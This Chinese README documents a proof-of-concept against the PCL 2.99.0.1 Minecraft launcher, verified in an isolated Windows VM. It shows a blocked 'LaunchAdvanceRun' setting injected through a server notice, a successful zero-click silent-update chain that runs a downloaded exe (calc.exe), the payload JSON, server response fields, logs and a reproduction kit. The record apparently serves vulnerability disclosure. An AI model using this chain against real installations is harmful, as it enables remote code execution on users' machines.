README.md 6.8 KB

PCL 2.99.0.1 公告/静默更新 PoC:Windows VM 动态验证

日期:2026-10-25 环境:QEMU 11.1.2 + KVM,Windows 10 Enterprise LTSC 2021 x64 en-US,4 vCPU / 4 GB, 无网卡,1920×1080。VM 位于 ~/.HHD/PCLPoC-VM(私有,不随仓库分发)。

结论

链路 结果
方法一:notice.json -> setup -> LaunchAdvanceRun BLOCKED:2.99.0.1 的黑名单抛出 被禁止的设置项:LaunchAdvanceRun,payload 未执行
方法二:notice.cfg + slientupdate -> ServerConfig -> update.zip -> PCL\Plain Craft Launcher 2.exe SUCCESS:零点击;PCL 正常退出时执行下载的 4096 字节 exe,marker 与哈希均吻合

这次是动态复跑,不是静态 diff。方法一被拦、方法二仍可用,和复查报告的判断一致。

样本

PCL 正式版 2.99.0.1.zip
  sha256 4d239a62ed66fb9ebcf4633fd881eb098e9a7e4f296f0e414b58aa2f1f7f7830
Plain Craft Launcher 2.exe (2.99.0.1)
  sha256 0db34e19d9eeb6d496d20fabe786ec16bbd36ba6b0ccdc8d29cb7e909c114397

方法一:现场被拦截

PoC 以 -Mode launch 启动,notice.json 顶层 actions.setup 写入:

{"LaunchAdvanceRun":"C:\\Users\\Public\\pclpoc.exe","LaunchAdvanceRunWait":"False"}

PCL 2.99.0.1 在处理 setup 时命中黑名单。evidence/method1/Log1.txt 第 62–65 行:

03:05:49.865 E <22 · L/PCL 配置更新> [ModSecret] 执行 PCL 服务器公告动作失败(setup, {
03:05:49.865 E <22 · L/PCL 配置更新> [ModSecret]   "LaunchAdvanceRun": "C:\\Users\\Public\\pclpoc.exe",
03:05:49.865 E <22 · L/PCL 配置更新> [ModSecret]   "LaunchAdvanceRunWait": "False"
03:05:49.865 E <22 · L/PCL 配置更新> [ModSecret] }):被禁止的设置项:LaunchAdvanceRun
  • evidence/method1/poc-run.log:[-] No marker file was produced.
  • %TEMP%\pcl-poc-marker.txt 不存在。
  • 这正是复查报告说的 12 键黑名单:LaunchAdvanceRun 在第一位。

方法二:仍然零点击成功

server.ps1 返回:

notice.cfg      11002|0|0|0|999
ServerConfig    Update.Release.DownloadUrls -> https://.../update.zip
update.zip      Plain Craft Launcher 2.exe (4096 bytes)

PCL 把 zip 解压到 PCL\Plain Craft Launcher 2.exe(staging),正常退出时 UpdateRestart 启动它。结果:

marker:
2026-10-25T03:06:35.7399399+08:00 pid=2264 args=--update 2444 Plain Craft Launcher 2.exe Plain Craft Launcher 2.exe False

staged exe      4096 bytes
staging sha256  DA949D1F40D1DD40BA80C0CEEAB43278EDA92FA680A0551ACAFF0E39BC12CB6D
zip entry sha256 DA949D1F40D1DD40BA80C0CEEAB43278EDA92FA680A0551ACAFF0E39BC12CB6D
hash match      the downloaded zip entry ran.
calc.exe        started (visible on the right)
  • evidence/marker.txt:原始 marker。
  • evidence/staging.exe、evidence/zip-entry.exe:同一 4096 字节 payload。
  • evidence/staging.sha256.txt:payload 哈希。
  • evidence/method2/poc-run.log、method2/server.out.log:下载/退出/执行时间线。
  • evidence/RESULT.txt:PCL 自己写出的结果摘要。
  • evidence/final-desktop.png:终端、RESULT.txt Notepad、Calculator 同屏。

录屏与逐帧

  • 合成视频:pcl-2.99.0.1-poc-demo.mp4
    • 1920×1080,2:03,H.264,烧录中文字幕;字幕源 demo.srt。
    • 时间线:step1 00:00 → 方法一 00:56 → 方法二 01:17 → 结论 01:51。
  • 关键截图:
  • 逐帧原始素材:vm/frames/final3/,1434 张 1920×1080 JPEG(8 fps)+ index.csv(帧号/epoch 毫秒),约 270 MB。已保留,未删除。
    • frames-index.csv 是本目录里的索引副本。
    • 另外保留的 take:vm/frames/final、final2(布局调试版,未删除)。
  • 视频只取 step1 到 end+12s(帧 101–1087),未删除任何源帧。

证据文件

evidence/
├── RESULT.txt                  PCL 侧结果摘要
├── marker.txt                  方法二执行证明
├── staging.exe                 下载并执行的 4096 字节 payload
├── zip-entry.exe               update.zip 里的同名 exe
├── staging.sha256.txt
├── Notice.cfg / Setup.ini
├── Log1.txt                    当前 PCL 日志
├── demo-timeline.csv           7 步演示时间线(epoch 毫秒)
├── demo.log                    布局/分辨率/步骤记录
├── demo-transcript.txt
├── method1/
│   ├── Log1.txt                方法一被拦截的完整日志(第 62–65 行)
│   ├── poc-run.log
│   └── server.out.log
└── method2/
    ├── Log1.txt
    ├── poc-run.log
    ├── server.out.log
    ├── staging.exe
    ├── zip-entry.exe
    └── update.zip

demo.log 记录的计算布局:

[03:05:04] resolution=1920x1080 screen=1920x1020 console=918x1020 pcl=998

由于 Windows 控制台字体在 150% DPI 下实际更宽,最终画面里终端约 0–1190 px, PCL/Calculator/Notepad 位于约 1250–1920 px;两者留有空隙、互不遮挡。PCL 通过 HIGHDPIAWARE 兼容标记按 100% 渲染,右侧完整可见。可对照 stills/method1-blocked.jpg、stills/method2-success.jpg 和 stills/final-desktop.png。

复现包

完整可分发脚本在仓库根目录的 repeat/:

  • build-toolkit.sh:生成 MBR + FAT32 工具盘(含 autounattend/演示脚本/PoC)。
  • run-vm.sh:install / demo 两个阶段;USB 必须 removable=on,否则 Setup 不读 autounattend.xml。
  • record.sh / record.py:QMP screendump 逐帧录制。
  • extract-evidence.sh:关机后从 FAT 镜像取 pcl-test/evidence。
  • make-video.sh / make_srt.py:按 demo-timeline.csv 裁切、烧字幕。
  • toolkit/:无人值守 XML、演示脚本、PoC 脚本(不含 certs/ 私钥)。

复现包不含 Windows ISO、PCL zip、CA 私钥或主机用户名;VM 磁盘中的 lab CA 私钥属于 运行时实验材料,~/.HHD/PCLPoC-VM 应保持私有。

备注与限制

  • 方法一在 2.99.0.1 上必然被拦;本视频如实展示“尝试 → 被拦 → 方法二成功”。 若要看 LaunchAdvanceRun 真正执行,需要 2.99.0.0 + 可启动的 Minecraft 实例, 不在本复现包范围内。
  • 录制使用 Administrator 审核模式桌面(OOBE/自动登录在 LTSC 上不稳定);画面中的 C:\Users\Administrator 是通用实验室账户,不含个人信息。
  • LTSC 2021 的 Calculator 是 UWP 应用;payload 的 calc.exe 成功拉起, 画面右侧可见。
  • 逐帧目录约 270 MB,未纳入 git;保留在本机 vm/frames/final3/。